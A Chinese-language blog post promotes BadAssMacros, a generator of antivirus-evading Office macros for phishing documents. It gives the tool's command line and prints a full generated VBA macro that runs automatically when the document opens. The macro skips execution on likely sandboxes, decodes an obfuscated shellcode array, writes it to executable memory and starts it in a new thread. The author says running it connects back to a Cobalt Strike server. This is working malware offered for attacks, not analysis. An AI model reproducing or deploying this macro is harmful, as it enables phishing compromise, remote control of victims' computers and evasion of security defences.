工具推荐:BadAssMacros免杀宏生成器

admin 2021年8月2日00:00:50评论274 views字数 4729阅读15分45秒阅读模式

    在众多的攻击方式中,钓鱼文档攻击仍然扮演者重要的地位,而随着各类安全防护设备的成熟,宏免杀一直是我们所讨论的问题,之前有MacroPack(收费版仍然好用)可以生成免杀宏文档,但特征已被标记,今天介绍的这款工具则仍然效果很好。

    

地址如下:https://github.com/Inf0secRabbit/BadAssMacros


     先来看一下免杀效果:


工具推荐:BadAssMacros免杀宏生成器


目前具有的功能如下:


  • Classic VBA shellcode injection.

  • Indirect VBA shellcode injection (using LoadLibrary).

  • Sandbox Detection.

  • VBA Purging.

  • Shellcode obfuscation.

  • Variable name Randomization.


这里我使用第一种方式进行注入


BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file>


工具推荐:BadAssMacros免杀宏生成器


生成的宏代码如下:


Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtrPrivate Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtrPrivate Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtrFunction stb() Dim qAW As Variant Dim GvH As LongPtr Dim DTc As Long Dim xiB As Long Dim fWB As LongPtr If Application.RecentFiles.Count < 3 ThenExit FunctionEnd IfSet objWMIService = GetObject("winmgmts:\.rootcimv2")Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)For Each objItem In colItemsIf objItem.NumberOfCores < 3 ThenExit FunctionEnd IfNext qAW = Array(255, 75, 134, 231, 243, 235, 203, 3, 3, 3, 68, 84, 68, 83, 85, 84, 89, 75, 52, 213, 104, 75, 142, 85, 99, 75, 142, 85, 27, 75, 142, 85, 35, 75, 142, 117, 83, 75, 18, 186, 77, 77, 80, 52, 204, 75, 52, 195, 175, 63, _100, 127, 5, 47, 35, 68, 196, 204, 16, 68, 4, 196, 229, 240, 85, 68, 84, 75, 142, 85, 35, 142, 69, 63, 75, 4, 211, 105, 132, 123, 27, 14, 5, 120, 117, 142, 131, 139, 3, 3, 3, 75, 136, 195, 119, 106, 75, 4, 211, 83, _142, 75, 27, 71, 142, 67, 35, 76, 4, 211, 230, 89, 75, 258, 204, 68, 142, 55, 139, 75, 4, 217, 80, 52, 204, 75, 52, 195, 175, 68, 196, 204, 16, 68, 4, 196, 59, 227, 120, 244, 79, 6, 79, 39, 11, 72, 60, 212, 120, 219, _91, 71, 142, 67, 39, 76, 4, 211, 105, 68, 142, 15, 75, 71, 142, 67, 31, 76, 4, 211, 68, 142, 7, 139, 75, 4, 211, 68, 91, 68, 91, 97, 92, 93, 68, 91, 68, 92, 68, 93, 75, 134, 239, 35, 68, 85, 258, 227, 91, 68, _92, 93, 75, 142, 21, 236, 82, 258, 258, 258, 96, 109, 3, 76, 193, 122, 108, 113, 108, 113, 104, 119, 3, 68, 89, 76, 140, 233, 79, 140, 244, 68, 189, 79, 122, 41, 10, 258, 216, 75, 52, 204, 75, 52, 213, 80, 52, 195, 80, 52, _204, 68, 83, 68, 83, 68, 189, 61, 89, 124, 170, 258, 216, 238, 118, 93, 75, 140, 196, 68, 187, 100, 33, 3, 3, 80, 52, 204, 68, 84, 68, 84, 109, 6, 68, 84, 68, 189, 90, 140, 162, 201, 258, 216, 238, 92, 94, 75, 140, 196, _75, 52, 213, 76, 140, 219, 80, 52, 204, 85, 107, 3, 5, 67, 135, 85, 85, 68, 189, 238, 88, 49, 62, 258, 216, 75, 140, 201, 75, 134, 198, 83, 109, 13, 98, 75, 140, 244, 75, 140, 221, 76, 202, 195, 258, 258, 258, 258, 80, 52, _204, 85, 85, 68, 189, 48, 9, 27, 126, 258, 216, 136, 195, 18, 136, 160, 4, 3, 3, 75, 258, 210, 18, 135, 143, 4, 3, 3, 238, 214, 236, 231, 4, 3, 3, 235, 165, 258, 258, 258, 50, 68, 107, 105, 81, 3, 157, 152, 102, 60, _179, 136, 116, 184, 55, 38, 239, 250, 111, 149, 90, 39, 166, 220, 17, 236, 156, 173, 190, 208, 118, 42, 257, 206, 123, 209, 43, 169, 53, 205, 216, 128, 12, 197, 242, 182, 95, 141, 121, 124, 19, 107, 29, 95, 202, 59, 153, 178, 48, 5, _145, 187, 177, 77, 21, 147, 43, 170, 168, 82, 205, 158, 16, 63, 236, 93, 13, 138, 84, 3, 88, 118, 104, 117, 48, 68, 106, 104, 113, 119, 61, 35, 80, 114, 125, 108, 111, 111, 100, 50, 55, 49, 51, 35, 43, 102, 114, 112, 115, 100, _119, 108, 101, 111, 104, 62, 35, 80, 86, 76, 72, 35, 59, 49, 51, 62, 35, 90, 108, 113, 103, 114, 122, 118, 35, 81, 87, 35, 56, 49, 52, 62, 35, 87, 117, 108, 103, 104, 113, 119, 50, 55, 49, 51, 44, 16, 13, 3, 214, 193, _208, 55, 4, 11, 192, 107, 203, 115, 147, 235, 180, 13, 143, 54, 239, 195, 106, 45, 70, 111, 186, 9, 50, 123, 33, 127, 155, 240, 94, 109, 44, 74, 215, 28, 87, 65, 234, 248, 256, 243, 98, 44, 211, 214, 183, 133, 125, 236, 179, 173, _42, 79, 178, 37, 192, 157, 121, 113, 171, 34, 186, 133, 255, 128, 215, 171, 210, 205, 146, 240, 29, 36, 48, 127, 76, 230, 26, 217, 115, 92, 25, 236, 197, 231, 257, 122, 62, 143, 244, 121, 27, 239, 38, 94, 56, 147, 243, 126, 156, 179, _56, 182, 70, 237, 65, 27, 97, 239, 200, 197, 202, 174, 144, 34, 151, 62, 49, 60, 202, 52, 98, 40, 250, 185, 239, 199, 73, 221, 9, 190, 126, 256, 79, 55, 29, 250, 163, 143, 71, 209, 165, 146, 197, 110, 170, 166, 230, 200, 159, 3, _116, 93, 9, 95, 83, 16, 158, 164, 178, 82, 59, 108, 40, 34, 85, 47, 32, 224, 108, 77, 211, 83, 65, 201, 229, 35, 220, 3, 214, 148, 211, 48, 250, 225, 80, 148, 6, 168, 36, 35, 66, 197, 200, 170, 212, 245, 149, 56, 30, 181, _21, 188, 102, 214, 68, 45, 199, 87, 53, 11, 121, 103, 133, 62, 193, 58, 25, 75, 138, 207, 190, 118, 212, 3, 68, 193, 243, 184, 165, 89, 258, 216, 75, 52, 204, 189, 3, 3, 67, 3, 68, 187, 3, 19, 3, 3, 68, 188, 67, 3, _3, 3, 68, 189, 91, 167, 86, 232, 258, 216, 75, 150, 86, 86, 75, 140, 234, 75, 140, 244, 75, 140, 221, 68, 187, 3, 35, 3, 3, 76, 140, 252, 68, 189, 21, 153, 140, 229, 258, 216, 75, 134, 199, 35, 136, 195, 119, 185, 105, 142, _10, 75, 4, 198, 136, 195, 120, 218, 91, 91, 91, 75, 8, 3, 3, 3, 3, 83, 198, 235, 162, 256, 258, 258, 52, 60, 53, 49, 52, 57, 59, 49, 52, 53, 54, 49, 52, 54, 52, 3, 84, 12, 194, 112)For i = 0 To UBound(qAW)qAW(i) = qAW(i) - 3Next iGvH = VirtualAlloc(0, UBound(qAW), &H3000, &H40)For DTc = LBound(qAW) To UBound(qAW)xiB = qAW(DTc)fWB = RtlMoveMemory(GvH + DTc, xiB, 1)Next DTcres = CreateThread(0, 0, GvH, 0, 0, 0)End FunctionSub Document_Open()stbEnd SubSub AutoOpen()stbEnd Sub


运行后,CS上线,有兴趣的可以自己去翻一翻源码。


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工具推荐:BadAssMacros免杀宏生成器



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